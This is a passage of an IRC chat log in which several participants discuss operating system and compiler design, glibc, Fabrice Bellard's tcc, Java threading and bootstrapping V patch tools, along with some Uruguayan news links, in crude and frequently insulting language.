complains, literally, that "he wants to lie once rather than everywhere". duh, no sed where this man lives ? 1898225;1550690187;asciilifeform;consider from pov of 'what is total mass of binary that has to be audited'. in which case is the mass smaller : where there are 9000 bins on the machine, each consisting 90% of a coupla MB of 'bounds check this array' and 'propagate this exception' ? or if the 1 runtime does these, and the bins -- invoke. 1898226;1550690212;mircea_popescu;from the pov of auditing it is certainly cheaper to move it into the "emulator" 1898227;1550690238;mircea_popescu;however, consider situation 1, where "it is in emulator" and situation 2, where "it is in this one tmsr standards library". 1898228;1550690248;mircea_popescu;the 2nd gets linked in however many binaries you wish, still is a single item. 1898229;1550690252;asciilifeform;i suspect not only cheaper in manpower, but faster in wall clock. cuz can hand-massage emulator, whereas compiler barf , even with peepholing etc, is invariably bloated. 1898230;1550690286;asciilifeform;mircea_popescu: in practice, given static link, it's duplicated 9000 times, rather than single. 1898231;1550690305;mircea_popescu;even so. as far as reading goes, you still read it the same number of times, whether it's linked or bios'd. 1898232;1550690359;mircea_popescu;then again this whiole discussion is moot, because step 1 towards that magical bios asm blob is a tmsr standards lib to replace glibc anyway. 1898233;1550690360;asciilifeform;the appeal of 'emulate sane iron' is partly 'now can has readable disasms for errything', and partly 'can then bake actual iron around same' 1898234;1550690369;mircea_popescu;certainly. 1898235;1550690376;asciilifeform;mircea_popescu: it isn't entirely same problem 1898236;1550690382;mircea_popescu;not entirely, no. 1898237;1550690386;mircea_popescu;but the overlap is large. 1898238;1550690428;asciilifeform;( glibc & co. do not handle devices, impose memory organization scheme , etc ) 1898239;1550690443;asciilifeform;i'm not currently certain that there is any meaningful overlap. 1898240;1550690450;mircea_popescu;certainly. but once you start talking about unified abi, you're very much starting there. 1898241;1550690476;mircea_popescu;ie, the fact that glibc doesn't come with sane memory allocator ~is a failure of glibc~. 1898242;1550690506;asciilifeform;it's a forced failure, in the sense that it is imposed by trying to be a layer on top of os, rather than os per se 1898243;1550690509;mircea_popescu;or in other words, the overlap is large even if the barbarians cut it wrongly and on the basis of their cuts it seems to not be\ 1898244;1550690545;mircea_popescu;but srsly now, the "standards lib" lets me print to screen but not print to ram ? wut. 1898245;1550690578;asciilifeform;moar concretely, e.g. memory allocator -- attempts to put sane one on top of linux's, all caught fire in very similar way, i.e. impedance mismatch ( whether libc's or java's or commonlisp's ) 1898246;1550690624;mircea_popescu;true. 1898247;1550690643;asciilifeform;asciilifeform's hypothesis, is that it is only worth to add a layer if you can remove dozen by doing so 1898248;1550690647;asciilifeform;rather than '1 moar layer' 1898249;1550690657;mircea_popescu;surely. i wasn't proposing adding layers. 1898250;1550690665;asciilifeform;right 1898251;1550690708;mircea_popescu;terminology fails, mostly because terminology was made by morons and we're trying to discuss analysis in roman numerals here, but consider "glibc" would be a... well i guess a kernel mod the program links against as a library ? 1898252;1550690733;asciilifeform;in asciilifefor's cosmography, sane machine has neither 'linker' nor 'compiler' in the customary sense 1898253;1550690768;asciilifeform;( has : translator, from various preferred lang syntaxes to the actual machine coad, but without massive expansion of the ast ) 1898254;1550690811;mircea_popescu;to follow the logic : the notion that you'd have a kernel mod to interface with peripherals, but not with code, is somewhat bizarre. 1898255;1550690854;mircea_popescu;asciilifeform the large problem here is that the ast will have to be ultimately a homomorphism of machine language. which is the dubious part in the "emulator" pov. 1898256;1550690857;asciilifeform;mircea_popescu: in pctardation land, it's a consequence of the (massively failed, historically) attempt to hack around the fact that erry peripheral has free run of entire bus 1898257;1550690947;asciilifeform;the central imho open q is, how much of the iron's retardation can be kept out of such a system. 1898258;1550690955;asciilifeform;( can has boat hull that dun leak ? ) 1898259;1550690974;mircea_popescu;asciilifeform i'm aware, evolved not designed. nevertheless, the fundamental breakage here is that glibc is proposed as a "library" rather than a "kernel mod". not that these terms make any fucking sense anyway, but what the fuck am i gonna do. 1898260;1550691020;asciilifeform;the unix 'tower of layers', nominally separable, is spurious ( but mircea_popescu knew this ). 1898261;1550691033;mircea_popescu;anyway, i think i fully understand what you mean re "no compiler, no linker" : it is evidently a broken situation when you have TWO patsh from "what master said" to "what machine does". 1898262;1550691039;asciilifeform;aha! 1898263;1550691056;asciilifeform;so happens that i have a page re subj : http://www.loper-os.org/?p=256 . 1898264;1550691067;mircea_popescu;which is the point, it's a waste of time to consider "how linus separated" or "how rms thought should be separated". whoile thing's built on magic musherooms, "sky quadrants" etc. 1898265;1550691097;mircea_popescu;right, "compilation, you mean caching ?". 1898266;1550691105;mircea_popescu;fucking bs "science" where ALL the notiuons are broken. 1898267;1550691106;asciilifeform;aha, exactly so 1898268;1550691134;mircea_popescu;very early 1500s medicino-chemistry-philosophical-barbershop flavour to the whole field. 1898269;1550691159;*;asciilifeform has entire site about this.. 1898270;1550691190;mircea_popescu;but back to it, let's try and use different terms : i deem your "whole thing is an emu, in machine lang, bios boots into it" to be a "approach from machine end". 1898271;1550691197;mircea_popescu;nothing wrong with this. and will have to be at least attempted. 1898272;1550691234;mircea_popescu;nevertheless, the obvious alternative, factually there as holes follow fills and so on, is "approach from code end". and this approach'd be something like a ~proper~ standards lib. ie, both with proper access and proper primitives. 1898273;1550691263;mircea_popescu;and i'm saying that a) both approaches share a lot of overlap (you say no, but you agree next line that conceptually, field is broken -- that is overlap!!! you just agreed!) 1898274;1550691288;mircea_popescu;and that b) it is likely to be easier to start picking low hanging fruit from right rather than left, simply because cheaper fruit lowerly hanging there. 1898275;1550691297;asciilifeform;'proper primitives' is not independent of a) what backing iron b) what operator expects to ride on top (langs, memory management style) tho. 1898276;1550691320;mircea_popescu;it's independent of a, because if it turns out all iron fails math we'll dump all iron, not re-write math. 1898277;1550691340;mircea_popescu;though if memory serves intel mkt dept had internal proposal to "usg pronounces pentium right, everyone changes bookeeping to suit it" 1898278;1550691342;asciilifeform;currently could almost say 'iron fails math' 1898279;1550691350;mircea_popescu;there is that. 1898280;1550691359;asciilifeform;in that e.g. it imposes ridiculously small bus widths, gimping rsa; 1898281;1550691378;asciilifeform;and fails to provide locking in iron primitive, which gives the fungal bloom of software threading deadlock etc 1898282;1550691381;mircea_popescu;moreover -- b is actually a major spot of research, because we don't even exactly know WHAT we will set down as "must be / must not be". 1898283;1550691423;asciilifeform;mircea_popescu: asciilifeform's observation is that all historic attempts at 'pure (b)' were gimped by low expectations from iron, on acct of author's lifelong crippling experience with shit irons 1898284;1550691444;mircea_popescu;this much is certain on strength of extant record. 1898285;1550691515;asciilifeform;for instance -- the expectation that ram contents vanish when plug is pulled ( entirely avoidable since, what, late '90s or so ) ; or that machine is permitted to crash ( subj discussed in detail in log, crash oughta be seen as same calamity as catching fire , and this pov is entirely practical ) 1898286;1550691526;mircea_popescu;asciilifeform http://www.loper-os.org/?p=256#selection-43.12-49.3 << 404s. 1898287;1550691534;asciilifeform;or the 'bus width is handful of bytes' nonsense 1898288;1550691543;asciilifeform;mircea_popescu: seaforth dead ?? 1898289;1550691544;asciilifeform;RIP 1898290;1550691570;asciilifeform;loox like moved to shithub 1898291;1550691581;asciilifeform;luckily asciilifeform has last-known copy. will mirror if anyone wants. 1898292;1550691593;mircea_popescu;update your link too, and there we go 1898293;1550691602;asciilifeform;will surely update. 1898294;1550691617;asciilifeform;( btw if anyone else sees a dead link, plox to write in , i do fix ) 1898295;1550691692;mircea_popescu;anyway, to land this far going baloon : currently, the large chunk of sanification work will likely still be http://btcbase.org/log/2019-02-20#1898113 ; there's no way to have a world without a backend, there's no way to learn how to build one without unpacking the only one that exists, and so on. 1898296;1550691692;a111;Logged on 2019-02-20 15:41 mircea_popescu: it seems rather obvious that the 2020-2025 republican future will consist of a whole lotta http://btcbase.org/log/2019-02-17#1897560 http://btcbase.org/log/2019-02-17#1897468 etc as we unwind the "optimizing" part in http://btcbase.org/log/2019-02-17#1897829 and discover a whole lotta http://btcbase.org/log/2019-02-17#1897689 and http://btcbase.org/log/2019-02-17#1897536 1898297;1550691710;mircea_popescu;ada-musl will have to get its own backend, even if it's mpi-style confiscation. 1898298;1550691731;mircea_popescu;then we see, esp on the basis of discoveries during. 1898299;1550691766;asciilifeform;it's at the mpi confiscation stage atm. 1898300;1550691798;mircea_popescu;just about. 1898301;1550691798;asciilifeform;q is, do you actually ~want~ a thing that shits out 200kB of peepholed x86 ??? for 'hello world' . 1898302;1550691821;mircea_popescu;this isn't the q. there's exactly one thing that shits bytecode. much like in 2011 there was exactly 1 thing that extended the blockchain. 1898303;1550691826;mircea_popescu;it's what you start with. 1898304;1550691836;asciilifeform;granted. sorta why i said 'it's a trb' 1898305;1550691850;mircea_popescu;myeah. 1898306;1550691868;asciilifeform;nursing old gnat aint optional, currently, just like nursing trb aint optional 1898307;1550691949;mircea_popescu;moreover, the recent exception handling discussions & digs exposed most eminently the hole the shit's in. you could improve on gcc right now, just by fixing its idiotic tokenizers, "optimized" log n-onsense ans so forth. 1898308;1550691980;asciilifeform;aand , i suspect, by cutting coupla MB of entirely dead mass 1898309;1550691994;asciilifeform;a la mpi etc 1898310;1550692007;mircea_popescu;shit's exactly in the position of mod6's famous house, http://btcbase.org/log/2019-01-16#1887503 1898311;1550692007;a111;Logged on 2019-01-16 02:24 mod6: This all started because we need a new door, it's old as shit, and all the weather stripping is bad, etc. So of course, this isn't std door size. So I paid some good money to have a custom one made to size. When the carp came out to install it, the first thing he did was pull off one piece of molding, and stuck his file down in the bottom area where that joist is located, and it pushed right through. 1898312;1550692010;asciilifeform;btw do you recall fabrice bellard's compiler ? 1898313;1550692015;mircea_popescu;nope. 1898314;1550692020;asciilifeform;!#s bellard 1898315;1550692020;a111;18 results for "bellard", http://btcbase.org/log-search?q=bellard 1898316;1550692035;asciilifeform;http://btcbase.org/log/2017-03-23#1631830 1898317;1550692035;a111;Logged on 2017-03-23 16:39 asciilifeform: trinque: fabrice bellard had an interesting experiment, where he stuffed tinycc into kernel, and had it self-build on boot 1898318;1550692042;mircea_popescu;ah the tcc thing ? 1898319;1550692048;asciilifeform;he had a kernel-building compiler in coupla 1000 loc . 1898320;1550692065;mircea_popescu;yeah, ok, this very much germane to discussion. 1898321;1550692066;asciilifeform;afaik then he sank into the sea, never continued. 1898322;1550692087;mircea_popescu;sounds like he did a lot of the same stuff here contemplated. shoot fellow an arrow maybe ? is he old ? 1898323;1550692112;asciilifeform;iirc old 1898324;1550692129;asciilifeform;but worth a shot ( tho asciilifeform's track record for 'write 'im a mail' is currently abysmal ) 1898325;1550692207;mircea_popescu;http://www.landley.net/code/tinycc/ << also. did the guy disappear ? 1898326;1550692224;mircea_popescu;(note: "lists.gnu.org" moved to "lists.nongnu.org"). and other keks. 1898327;1550692235;asciilifeform;seems to have disappeared. and tcc was 'picked up' by fungi. 1898328;1550692252;asciilifeform;nao it resembles minix, 100x the mass of the original, and ~less~ function 1898329;1550692323;asciilifeform;bellard himself abandoned it, not the least reason , near as i could tell, was that he did not relish idea of maintaining 9000 backends 1898330;1550692331;asciilifeform;( or, alternatively, marrying intel 4evah ) 1898331;1550692360;asciilifeform;it's a sisyphian proposition. 1898332;1550692400;mircea_popescu;yeah, but it's in ruby, or w/e the fuck unity 1898333;1550692432;mircea_popescu;i mean, " nao it resembles minix, 100x the mass of the original, and ~less~ function" yeah, but it's in ruby, or w/e the fuck unity. 1898334;1550692450;asciilifeform;waiwat 1898335;1550692454;asciilifeform;tcc ? was in c 1898336;1550692481;asciilifeform;( tho i last looked 5 or so yr ago. thing was self-building , and could build 2.x kernels in coupla sec ) 1898337;1550692556;mircea_popescu;jesus my poor point. 1898338;1550692577;mircea_popescu;i was trying a tongue in cheek, "yes, now it has more code and less functionality, but it follows whatever trend of insanity". 1898339;1550692586;mircea_popescu;then it was too late, and then it just became incomprehensible. 1898340;1550692608;asciilifeform;i confess, did not follow the thing's trajectory into the ground, do not know which fashionable insanity in particular it followed as it died of immunocompromise 1898341;1550692613;asciilifeform;but i think i get mircea_popescu's pt 1898342;1550692659;asciilifeform;currently i suspect that the corpse of tcc is 1 of the moar fuckable corpses in the unixtardation graveyard, tho. 1898343;1550692708;asciilifeform;iirc orig ver had a working ( x86, no x64 ) backend, and weighted 200kB or so in src . 1898344;1550692713;asciilifeform;*weighed 1898345;1550692957;mircea_popescu;http://www.loper-os.org/?p=46#selection-47.1021-47.1284 << this, incidentally, is a fine example. who THE FUCK came up with the notion of making "registers" ~without~ making a) as many of them as the bus width and b) a special register which keeps a mask of registers, so that PUSH only actually occurs if needed ? 1898346;1550692970;mircea_popescu;let me guess, the same fucking people who made mul without carry. 1898347;1550692997;asciilifeform;same 1898348;1550693010;mircea_popescu;as a general design principle! you may NOT have "multiple" on a machine. it's 0, 1, buswidth-count. THAT IS IT. 1898349;1550693013;asciilifeform;and , mircea_popescu , this is just the needle point on the tip of retardation iceberg. 1898350;1550693019;mircea_popescu;and whenever you go with option 3, guess what. 1 IS MASK! 1898351;1550693113;asciilifeform;the tard arch people passed the 'register killing' ball to compiler, as result bloating ~all~ compiler with massive gnarl, ~just for reg killing logic~ 1898352;1550693120;asciilifeform;this is quite typical example. 1898353;1550693229;asciilifeform;writing sane compiler targeting e.g. x86 is not entirely unlike dancing ballet while carrying 50kg weights 1898354;1550693232;asciilifeform;!#s bergeron 1898355;1550693232;a111;12 results for "bergeron", http://btcbase.org/log-search?q=bergeron 1898356;1550693234;asciilifeform;^ see also.. 1898357;1550697084;mircea_popescu;i suppose the pov where design is ~constrained~ activity, and the concept of "design competition" must strictly describe a situation where machine a with 64 registers of which one is mask and machine b with 64 registers + ONE separate mask register compete. 1898358;1550697104;mircea_popescu;ie, whenever you encounter "competitions" of malformed nonsense, you're exactly in the position of the ~spectator~ to special olympics. 1898359;1550697158;mircea_popescu;there MAY NOT exist "conflict" on baseless distinctions, which goes right the fuck into the whole http://btcbase.org/log/2017-04-09#1641209 1898360;1550697158;a111;Logged on 2017-04-09 23:14 mircea_popescu: "who do you think will win, mr 13, the team with two guys and monkeys or the team with three guys and monkeys ?" 1898361;1550697406;asciilifeform;see also http://btcbase.org/log/2016-06-14#1482704 1898362;1550697406;a111;Logged on 2016-06-14 14:12 asciilifeform: did we ever do a screw threads thread ? 1898363;1550697579;asciilifeform;the worst thing, imho, is that the 'baseless distinction' is quite often 'in one strand' with actual distinction -- e.g. the 'speshul olympics' of x86 vs arm : both are shit archs, but 1 has 35 yrs of compat-crud, and eats 100x the wattage vs other 1898364;1550697636;asciilifeform;i.e. nobody http://btcbase.org/log/2016-01-19#1377640 them. 1898365;1550697636;a111;Logged on 2016-01-19 21:55 ascii_butugychag: the whole point of engineering is to cut apart the happenstance-linked crud from what you actually want. 1898366;1550697679;asciilifeform;you can't, for instance, buy a x64 that ~only runs in 64 mode~ : no, you gotta have the (broken) msdos compat, inner 386, etc. cuz winblowz. 1898367;1550697711;asciilifeform;likewise you can't buy a southbridge that dun do the acpi liquishit, cuz again microshit decree. 1898368;1550697725;asciilifeform;( current pc arch 'standard', to the extent it exists even, is a microshit authorship ) 1898369;1550697836;mircea_popescu;kinda makes it a particularly delicious spot to rape the femstate. 1898370;1550697861;asciilifeform;iron ? the most delish, imho, spot conceivable. but -- expensive. 1898371;1550697883;mircea_popescu;conquering china, also expensive. who knows, maybe it can be massaged to pay for itself. 1898372;1550697929;asciilifeform;imho if anyone can conceive of just how, it's mircea_popescu 1898373;1550698052;asciilifeform;we dun lack the 'how' ; if mircea_popescu commissions an iron, i'ma draw up an iron. q is how to massage to pay itself. 1898374;1550698215;asciilifeform;(e.g. FG, for instance, was drawn up from the start to be siliconizable w/out any major change, if/when time comes) 1898375;1550698291;asciilifeform;could fit a million or 2 of'em on 1 die, with modest density. 1898376;1550698332;asciilifeform;( would want a windowed / microscopable die, naturally, if actually did this, or how wouldja audit ) 1898377;1550698432;asciilifeform;i find it hard to picture how a sane cpu, where optimizing compiler is 10k loc and 'fits in head', could have no market. but then again the bolix people proved that it ~is~ possible to go broke with one. 1898378;1550699411;BingoBoingo;Local Derp divsersion: "Militant Communist Dead In Doorway" https://www.elobservador.com.uy/nota/un-homicidio-genero-un-revuelo-politico-y-la-policia-lo-maneja-con-hermetismo-2019220122142 1898379;1550699802;BingoBoingo;And across the river Argentines can't afford coca-cola anymore https://www.elobservador.com.uy/nota/argentina-coca-cola-femsa-anuncia-reestructura-laboral-por-baja-en-el-consumo-201922018333 1898380;1550699936;hanbot;in bootstrapping adventures, it looks like the flow for a machine that knows to v to get vtools going is like so: grab some ancient v, ie mod6's v.py, use it to press phf's vtools vpatch, then eat phf's v.py "updated for vtools", then press vtools to keccak head. anyone feel like spotting this for me? 1898381;1550699952;hanbot;where "knows to v" = "knows no v". heh. 1898382;1550700077;asciilifeform;hanbot: it is also possible to bootstrap any vtron using naked gpg, ancient gnupatch, and bare teeth ( manually check sig and patch -p0 < foo.patch, for ea. ) 1898383;1550700108;feedbot;http://bvt-trace.net/2019/02/cuntoo-installation-report/ << bvt's backtrace -- Cuntoo Installation Report 1898384;1550700210;mircea_popescu;hanbot write down the whole story as you go, but basically yes. 1898385;1550700300;hanbot;aite. gracias. 1898386;1550700384;asciilifeform;hanbot: other nitpick -- v.py is asciilifeform's orig. demo; v.pl is mod6's vtron 1898387;1550700467;asciilifeform;hanbot: v.py actually exists in modern ( keccakistic ) incarnation -- there's 2 variants, largely identical , diana_coman's (the 1 i use now) and phf's (he had some incompatibility in his python iirc which required own variant) 1898388;1550700495;asciilifeform;both of'em use phf's keccakistic vdiff. 1898389;1550700609;asciilifeform;!#seen esthlos 1898390;1550700609;a111;2018-10-23 http://btcbase.org/log/2018-10-19#1864316 << apologies alf, I'm running behind! trying to gather time to get caught up in the next week or two 1898391;1550700622;asciilifeform;^ also had a vtron. but then sank to the bottom of the sea, so unmaintained afaik. 1898392;1550700727;hanbot;right right, i mixed 'em up. and yeah, i'm planning on grabbing phf's keccak v.py in step 3, if only because i've seen diana_coman's pop up in cuntoo tests so i'd like to test the ver less traveled. 1898393;1550701229;BingoBoingo;!#born esthlos 1898394;1550701229;a111;2017-12-16 hello >> http://btcbase.org/log/2017-12-16#1752137 1898395;1550701247;asciilifeform;didn't even live a whole year, huh. 1898396;1550701301;asciilifeform;it's a shame, imho; i quite liked http://summaries.logs.esthlos.com 1898397;1550701694;mircea_popescu;esthlos had a pretty cool vtron if i recall. 1898398;1550703247;BingoBoingo;From the mines: "Viví 6 meses en Madrid y varias veces se me rieron en la cara (la mayoría empleados públicos, y una vez en un banco) por mi manera de hablar, pero mi peor experiencia fue en entrevistas de trabajo donde me dijeron que el problema era que no hablaba español." - Some Uruguayo 1898399;1550703441;BingoBoingo;A bit deeper "Uruguayos no somos Latinos, somos Europeos": "Mi amiga tuvo un hijo en EEUU hace un tiempito y cuando lo van a anotar, dentro de las cosas que ponen en la partida es raza (WTF EEUU??!), la administrativa no quería ponerle "caucásico" así que le puso Latino white o una onda así." 1898400;1550703760;BingoBoingo;And in still other lols: "Policía fue encontrado muerto, atado de pies y manos; la Fiscalía investiga: Murió ahogado en una cantera de Las Piedras. Sin embargo la principal hipótesis es la de un suicidio." >> https://www.subrayado.com.uy/policia-fue-encontrado-muerto-atado-pies-y-manos-la-fiscalia-investiga-n526964 1898401;1550703854;BingoBoingo;Dead cop further down page than dead graffiti communist punk 1898402;1550712111;feedbot;http://www.loper-os.org/?p=3044 << Loper OS -- PCB Radiography Kindergarten, Continued. 1898403;1550712521;asciilifeform;wb Mocky 1898404;1550712526;Mocky;thx asciilifeform 1898405;1550712637;Mocky;http://btcbase.org/log/2019-02-20#1898149 I know of a couple attempts at java os, one I installed on my Compaq iPaq in 2002. but they were shit 1898406;1550712637;a111;Logged on 2019-02-20 16:08 asciilifeform: various folx attempted something roughly like this, but succumbed to own idiocy -- e.g. the java people, who 1) wrapped their 'vm' around the nonsensical shape of their tardlang 2) stopped short of 'and no this doesn't run on your tard os, is IS the os, fuckyou' ; 1898407;1550712686;Mocky;I was hopeful back in the day at java chip and java os, nothing worthwhile surfaced 1898408;1550712735;asciilifeform;a good thing, too 1898409;1550712765;asciilifeform;( or we could've ended up with a 'crapple future' 20y ago, instead of nao ) 1898410;1550712896;Mocky;i mean, entire jvm is c/c++ and filled with c/c++isms so not exactly in the direction of http://btcbase.org/log/2019-02-20#1898128 , more in the direction of 'just want to' cross platform 1898411;1550712896;a111;Logged on 2019-02-20 15:50 asciilifeform: really oughta have ~1~ compiler, and for a sane arch; and if yet cannot afford to actually siliconize the sane arch, then the sad iron oughta be booting straight in bios to a compact (asmistic) emulator of same 1898412;1550712920;asciilifeform;Mocky: imho all of javaism was a massive exercise in 'just want to'ism 1898413;1550713215;Mocky;I mostly agree. They did manage a coherent threading model / memory model which turns out to be the thing I miss when I'm writing in something else 1898414;1550713255;asciilifeform;Mocky: coherent how ? iirc thing still relied on explicit semaphorism 1898415;1550713268;mircea_popescu;yeah, wut ? 1898416;1550713382;Mocky;there are explicit and implicit semantics, but if you read the spec, you know what you'll get. multiple threads setting a value on the same variable never create garbage 1898417;1550713407;asciilifeform;eh setting. how'bout getting. 1898418;1550713410;asciilifeform;easily create deadlock. 1898419;1550713424;mircea_popescu;yeah, how about multithreaded i++ ? 1898420;1550713435;Mocky;setting and getting 1898421;1550713468;asciilifeform;dunno, the multithread java they had us homework at uni, deadlocked as easily as farting. 1898422;1550713509;mircea_popescu;Mocky so if i declare a procedure which increments a global and a local counter, and then call it in a loop from multiple threads, at the end the globa lflag will contain the sum of the local flags ? 1898423;1550713514;asciilifeform;and i wrote 9000 proggies that produced diff answer erry time they ran depending on what the thread gods felt like that day 1898424;1550713515;Mocky;can do multithreaded i++ and never get garbage, if you mark it volatile forces read and write to main memory 1898425;1550713559;mircea_popescu;but the ensemble will not move at the speed of a single core will it ? 1898426;1550713619;mircea_popescu;asciilifeform rng!!! 1898427;1550713621;Mocky;i'm not saying they solved threading once and for all, or that eliminated deadlock. any system that allows you to acquire locks in different order can be deadlocked. i'm just saying that there are concurrent primitives that can be understood and which have guaranttes that hold 1898428;1550713642;asciilifeform;mircea_popescu: hey it's approx how microshit's 'rng' worx 1898429;1550713672;mircea_popescu;Mocky just trying to evaluate if this thing worth digging up 1898430;1550713698;Mocky;and yes can increment global and local counters in threads and have it add up, but requires locking or cas 1898431;1550713714;asciilifeform;ahahaha with locking lolk 1898432;1550713830;Mocky;laugh if you will, yet still can't do it even *with* locking in standard c++, as far as I can tell 1898433;1550713870;asciilifeform;i dunthink ~standard~ cpp exposes threads ( maybe cpp14 ?? ) 1898434;1550713915;Mocky;so not optimal, maybe even laughable, but yet has a model and as spec that is not self contradictory 1898435;1550713936;Mocky;it is on c machine after all 1898436;1550713943;asciilifeform;eh it's the lang that made e.g. integers a 'non-class' object and thereby non-storable in lists etc 1898437;1550713961;asciilifeform;arguably managed to ~add~ retardation on top of ordinary cmachine, no mean feat 1898438;1550714018;Mocky;yeah, early java lists were shit in that way but no more. now shit in diff ways 1898439;1550714043;asciilifeform;... and where they added iterators 15 yrs after lang released, to great fanfare 1898440;1550714069;asciilifeform;could go on, but wai. 1898441;1550714111;asciilifeform;( or where promised 'portable' but this this day i've never seen a gui proggy in java that runs on >1 os w/out modification. and etc ) 1898442;1550714136;asciilifeform;*to this day 1898443;1550714162;Mocky;I'm not defending java, I'm stating that in addition to pile of shit, theres a coherent memory model, thread model that is not agony to work with. 1898444;1550714192;Mocky;i've seen dozens of those. look equally shit on every platform 1898445;1550714212;asciilifeform;i found the thread model just as ridiculous as that of pthreads. 1898446;1550714268;asciilifeform;explicit threading is ipso facto sad. 1898447;1550714276;asciilifeform;srsly the ~fortran~ people understood this. in 1990. 1898448;1550714345;asciilifeform;( ever wonder wai fortran still in use at '9000 cpus' massively parallel comps ? this is why ) 1898449;1550714389;Mocky;i wouldn't argue that explicit threading is good. but instead of concurrent i++, consider concurrent assignment to heap references, even without locking always have a valid reference, never a garbage pointer, no matter how many threads or cores 1898450;1550714457;asciilifeform;sounds like reads locked by default then 1898451;1550714539;Mocky;anyway coherent != good 1898452;1550714740;Mocky;also threads in infinite loops can always be stopped on every platform 1898453;1550714773;asciilifeform;cuz they dun map to native threads 1898454;1550714781;asciilifeform;thing's got own scheduler 1898455;1550714784;Mocky;zackly 1898456;1550714801;asciilifeform;... which means they're liable to all end up on 1 physical cpu, lol 1898457;1550714813;Mocky;nope 1898458;1550714872;asciilifeform;on linux, defo did, when i last gave a shit 1898459;1550714896;Mocky;serious question asciilifeform, where do I look to see better threading that java. I honestly dont' know 1898460;1550714917;asciilifeform;e.g. fortran-90 1898461;1550715006;asciilifeform;or if you gotta explicit thread, ada's tasks in sjlj mode ( or even zcx , if you dun care re terminations ) 1898462;1550715031;asciilifeform;or even erlang's thread machine 1898463;1550715032;Mocky;iirc that was after backus turned to shit in committee 1898464;1550715038;asciilifeform;( 100% lock-free ) 1898465;1550715225;Mocky;fortran threading I never looked at, but will. pretty sure threw away all my punch cards tho 1898466;1550715351;Mocky;erlang I did look at briefly, but not the concurrency, seemed to me like a puzzle lang 1898467;1550715363;asciilifeform;https://archive.is/QSB5E << likbez. 1898468;1550715367;asciilifeform;( re f90 ) 1898469;1550715540;asciilifeform;Mocky: not a 'puzzle lang', tho i can see how you might've come to the conclusion ( it's been suffering from heavy case of http://btcbase.org/log/2015-06-22#1172831 ) 1898470;1550715540;a111;Logged on 2015-06-22 21:22 mircea_popescu: ascii_field this goes right into our discussion about how the only reason lisp is ok where c is shot is that the hordes haven't sat on lisp but on c, would have been the other way around if they had sat the other way. 1898471;1550715560;asciilifeform;see e.g. http://btcbase.org/log/2017-03-30#1634714 , http://btcbase.org/log/2017-03-30#1634747 1898472;1550715560;a111;Logged on 2017-03-30 14:38 asciilifeform: mircea_popescu: i will also nitpick : 'erlang' does not belong in the list, it was a 1980s product that worked quite well in its industrial niche (large telco switches) but was later stolen and used as a totem by the folx from yesterday's thread ( http://btcbase.org/log/2017-03-29#1633873 ) 1898473;1550715560;a111;Logged on 2017-03-30 14:43 asciilifeform: anyway erlang is imho only worth discussing as part of a larger pattern -- industry after industry independently discovered that c -- and its entire approach to logic -- is poison 1898474;1550715628;asciilifeform;+ possibly http://btcbase.org/log/2017-03-30#1634769 1898475;1550715628;a111;Logged on 2017-03-30 14:50 asciilifeform: trinque: erlang wasn't simply about 'uptime', or even 'no pointer arithmetic', it also was the only case i know of where process migration actually worked 1898476;1550715720;asciilifeform;the threads (they were 'lightweight', i.e. zcx-like, things, but with termination (and restart!) mechanism) were snapshottable objects, to the extent that the runtime knew how to move'em between not only cpus but machines, and in such a way that the proggy continued w/out interruption (if e.g. machine catches fire and its threads gotta move before fire reaches cpu etc) 1898477;1550715760;asciilifeform;i mention this strictly cuz we're apparently doing a 'dead langs' thrd 1898478;1550715768;asciilifeform;there ~are~ dead langs that got something right. 1898479;1550715773;asciilifeform;afaik java simply aint 1 of'em tho. 1898480;1550715799;asciilifeform;there, 'what is original, aint good, and what was good, aint original' 1898481;1550716013;Mocky;sounds accurate enuf 1898482;1550716096;asciilifeform;Mocky: i sympathize re that you toiled in it for 20y; for my part , i work with... microshit kernel diddles etc, for bread. but i'll be the last to say 'here's what we can learn from microshit' (afaik there is ~0 to be learned from microshit, other than how to run the hell away) 1898483;1550716245;asciilifeform;some things are simply steaming piles of shit, from which there is nuffin to say, and the only use of which is that one can make a few bux cleaning'em up 1898484;1550716330;*;asciilifeform hopes to live long enuff to stop cleaning up piles o'shit for a living, but not holding breath 1898485;1550716527;Mocky;indeed. I've had my fill of java, but get paid for it so it's still in my immediate future 1898486;1550716785;Mocky;but i don't have asciilifeform's mental model of a much better lang with which to compare. I have c c++ python javascript that I also get paid to work with occasionally, which ~entirely punt on threading 1898487;1550716993;asciilifeform;Mocky: they forgo threading cuz on c machine you have exactly 3 options : a) forgo threading (i'ma not detail python's 'forgo threading and then lie about it' as separate variant, it is beneath contempt) b) sit down on unix's threads (pthread) c) implement own scheduler 1898488;1550717020;asciilifeform;(c) is generally not an option in lightweight ('scripting') langs, so these generally end up (a) 1898489;1550717078;trinque;http://btcbase.org/log/2019-02-20#1898077 << he's alive and well, sinfully busy atm helping me chase down some cash. sends his regards to the republic 1898490;1550717078;a111;Logged on 2019-02-20 15:02 mircea_popescu: trinque did you ever see the guy irl lately ? say this year or something ? 1898491;1550717079;asciilifeform;(c) also dun play very well with the underlying (b) that one is forced to contend with if you actually want physical parallelism, at least not w/out extraordinary care 1898492;1550717101;asciilifeform;trinque: aah so mired in saecular matters, like phf 1898493;1550717215;trinque;quite so 1898494;1550717266;mircea_popescu;http://btcbase.org/log/2019-02-21#1898456 <<->> http://btcbase.org/log/2019-02-21#1898425 1898495;1550717266;a111;Logged on 2019-02-21 02:06 asciilifeform: ... which means they're liable to all end up on 1 physical cpu, lol 1898496;1550717266;a111;Logged on 2019-02-21 01:45 mircea_popescu: but the ensemble will not move at the speed of a single core will it ? 1898497;1550717274;asciilifeform;i suppose this is good news, trinque ( i feared that he had gone to the bottom ) 1898498;1550717405;asciilifeform;mircea_popescu: lang that quietly locks ~errything behind yer back, whether you wanted or not, does tend to run 'at speed of 1 core', a la python 1898499;1550717409;asciilifeform;( not mega-surprise ) 1898500;1550717427;mircea_popescu;myeah 1898501;1550717569;mircea_popescu;"This used to be the page for my fork of Fabrice Bellard's Tiny C Compiler, but I got sick of competing with a mostly dead CVS archive that nevertheless remained "official". Every time I worked on my fork it inspired new work in the old CVS archive, and every time I set my fork aside the old project ground to a halt. Even though the old tcc project repeatedly stagnated whenever I stopped working on my fork for a few months, n 1898502;1550717569;mircea_popescu;obody wanted to work with me on my version because it wasn't "official"." 1898503;1550717597;mircea_popescu;this is actually more substantially gnu than any tech/engineering/cs/anything. invidious wikitards rather than anything else. 1898504;1550717603;asciilifeform;lolwat, what means 'mostly dead' if 'new work' ?! 1898505;1550717630;asciilifeform;'mostly pregnant' 1898506;1550717723;asciilifeform;!#s plowing flies 1898507;1550717723;a111;12 results for "plowing 